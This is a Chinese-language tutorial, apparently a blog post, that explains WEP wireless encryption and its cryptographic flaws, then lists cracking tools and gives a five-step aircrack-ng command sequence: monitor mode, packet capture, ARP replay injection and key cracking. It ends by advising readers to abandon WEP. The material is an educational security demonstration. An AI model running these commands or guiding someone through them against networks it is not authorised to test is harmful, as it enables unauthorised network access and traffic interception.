一、WEP原理
WEP(Wired Equivalent Privacy)叫做有線等效加密,是一種可選的鏈路層安全機制,用來提供訪問控制、數據加密和安全性檢驗等功能,是無線領域第一個安全協議。
WEP認證方式可以分爲:Open system和Sharedkey:
1.採用Opensystemauthentication方式:此時WEP密鑰只做加密,即使密鑰配的不一致,用戶也是可以上線,但上線後傳輸的數據會因爲密鑰不一致被接收端丟棄。
2.採用Sharedkey authentication方式:此時如果雙方密鑰不一致,客戶端就不能通過Shared key認證,無法上線。
加密過程如下:
1、先產生一個IV,將其同密鑰串接(IV在前)作爲WEPSeed,採用RC4算法生成和待加密數據等長(長度爲MPDU長度加上ICV的長度)的密鑰序列;
2、計算待加密的MPDU數據校驗值ICV,將其串接在MPDU之後;
3、將上述兩步的結果按位異或生成加密數據;
4、加密數據前面有四個字節,存放IV和KeyID,IV佔前三個字節,KeyID在第四字節的高兩位,其餘的位置0;如果使用Key-mappingKey,則KeyID爲0,如果使用DefaultKey,則KeyID爲密鑰索引(0-3其中之一)。加密後的輸出如下圖所示,解密過程則相反。
二、WEP的安全性問題
1、WEP協議的在數據傳輸時,用於生成密鑰流的初始向量IV是明文的方式。而該向量只有24位,這就使得在2^24個數據包後至少出現一次重複IV值,並且在實際中IV值重複的概率遠遠大於1/2^24;根據生日悖論,則五秒鐘後相同IV值出現的概率就大於0.5。
2、數據包的第一個加密字節爲RC4算法產生的第一個字節和LLC頭的第一個字節(0xaa)加密(做異或操作)的結果。攻擊者利用猜的第一個明文字節和WEP幀數據負載密文進行異或運算就可得到PRNG生成的密鑰流中的第一字節。
3、假設我們知道發生初始向量碰撞的兩段密文值C1、C2,由於明文是有統計規律的語言,結合字典攻擊,就能夠以極大概率猜測到明文P1、P2的值,並可以使用明文的CRC校驗值來判斷得到的猜測值是否正確。
4、WEP的CRC校驗算法也存在攻擊缺陷,CRC檢驗和是有效數據的線性函數(針對異或操作而言,即C(x+y)=C(x) +C(y)),利用這個性質,攻擊者可篡改密文,從而導致數據的完整性更改。
5、 密碼流RC4(IV,k)可能被重複使用,而不會引起任何懷疑,藉以構造這樣的消息,就可以向無線局域網注入任意的信息流,如認證信息注入攻擊。
三、破解軟件
1、WINDOWS系統軟件
WinAirCrack
WINDOWS下的破解軟件,更新很慢,支持的網卡型號少,不推薦使用,具體的破解步驟可以參考網上相關WINDOWS下破解的相關文章。
下載地址:http://www.heibai.net/download/Soft/Soft_5930.htm
2、Linux系統軟件
很大黑客工具都在Linux系統下有很好支持,破解無線網絡的Linux系統有BackTrack、wifiway等Linux LIVE CD。
BackTrack是基於Slackware和SLAX的自啓動運行光盤,它包含了一套安全及計算機取證工具。它其實是依靠融合Auditor Security Linux和WHAX(先前的Whoppix)而創建成的。其中包含AirCrack等無線網絡破解工具,當然無線網絡破解只是這個CD的一小部份功能。現在最新版本爲BT5 R2。
下載地址:http://www.backtrack-linux.org/
三、破解步驟
基於以上安全性問題,我且演示在BT5環境下用aircrack系列工具進行破解。
1、激活無線網卡
ifconfig wlan0 up
2、啓動混雜模式
airomon-ng start wlan0
3、抓取數據包
airodump-ng -w "filename" --bssid "AP Mac地址" mon0
注意:“ ”不用輸入
4、arp注入攻擊
aireplay-ng -3 -b "AP Mac地址" -h "wifi Mac地址" -x 1000 mon0
5、密碼破解
aircrack-ng -x -f 2 "第3步住區的數據包文件名"
注意:文件名爲 .cap後綴
綜上所述,如果你還在用WEP進行無線加密,趕緊換了吧!